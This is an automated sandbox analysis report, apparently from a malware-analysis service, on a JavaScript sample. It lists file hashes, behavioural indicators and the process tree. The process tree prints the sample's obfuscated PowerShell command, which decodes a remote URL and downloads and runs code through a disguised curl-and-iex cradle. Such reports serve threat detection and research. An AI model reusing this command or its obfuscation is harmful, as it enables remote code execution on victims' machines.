Analysis
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max time kernel
95s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
21-12-2024 14:58
Static task
static1
Behavioral task
behavioral1
Sample
40551fa2f76049bcc3e5fcbf304c911845f168eaa7771efff2311d043200da71.js
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
40551fa2f76049bcc3e5fcbf304c911845f168eaa7771efff2311d043200da71.js
Resource
win10v2004-20241007-en
General
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Target
40551fa2f76049bcc3e5fcbf304c911845f168eaa7771efff2311d043200da71.js
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Size
202KB
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MD5
87e0ceab84726e7cb7f890650b2684c4
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SHA1
8d2b922b604bdeb39faa0f78e99e435c9c5bdf45
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SHA256
40551fa2f76049bcc3e5fcbf304c911845f168eaa7771efff2311d043200da71
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SHA512
86e1afa1b8b12c4a83baf63c1c760444557fabf92866fe41ae8607f30536a4ff97e03b83923f82202ef5ce59376c8e3462ee75cba3e8b0ecebac855f750c0949
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SSDEEP
1536:nwfnMv4xlx4f1fbUNEdXKJTyFteE8UeLQag/WqHoxlx4f1fbUNEdXKJ+yFteE8Ul:n2n3CoOIhoOyoOcbB
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1480 3648 conhost.exe 83 -
Blocklisted process makes network request 1 IoCs
flow pid Process 8 4244 powershell.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4244 powershell.exe 4244 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4244 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1480 wrote to memory of 4244 1480 conhost.exe 85 PID 1480 wrote to memory of 4244 1480 conhost.exe 85
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\40551fa2f76049bcc3e5fcbf304c911845f168eaa7771efff2311d043200da71.js1⤵PID:4932
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C:\Windows\system32\conhost.execonhost --headless powershell $tfczpqjyg='ur' ;new-alias printout c$($tfczpqjyg)l;$gsajrto=(944,955,963,947,949,944,964,963,968,901,963,897,944,892,962,957,958,893,895,892,958,950,958,909,961,907,955,951,956,962,961,896,895);$obeifhamvpjcx=('bronx','get-cmdlet');$asvqcxtjkureb=$gsajrto;foreach($ltwuiynpxbrzs in $asvqcxtjkureb){$sanoumdctrik=$ltwuiynpxbrzs;$kfheayp=$kfheayp+[char]($sanoumdctrik-846);$eqynumbki=$kfheayp; $drhmtiyqe=$eqynumbki};$plvhso[2]=$drhmtiyqe;$joekhcfbupltv='rl';$skyfcjbizrunh=1;.$([char](9992-9887)+'e'+'x')(printout -useb $drhmtiyqe)1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1480 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $tfczpqjyg='ur' ;new-alias printout c$($tfczpqjyg)l;$gsajrto=(944,955,963,947,949,944,964,963,968,901,963,897,944,892,962,957,958,893,895,892,958,950,958,909,961,907,955,951,956,962,961,896,895);$obeifhamvpjcx=('bronx','get-cmdlet');$asvqcxtjkureb=$gsajrto;foreach($ltwuiynpxbrzs in $asvqcxtjkureb){$sanoumdctrik=$ltwuiynpxbrzs;$kfheayp=$kfheayp+[char]($sanoumdctrik-846);$eqynumbki=$kfheayp; $drhmtiyqe=$eqynumbki};$plvhso[2]=$drhmtiyqe;$joekhcfbupltv='rl';$skyfcjbizrunh=1;.$([char](9992-9887)+'e'+'x')(printout -useb $drhmtiyqe)2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4244
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82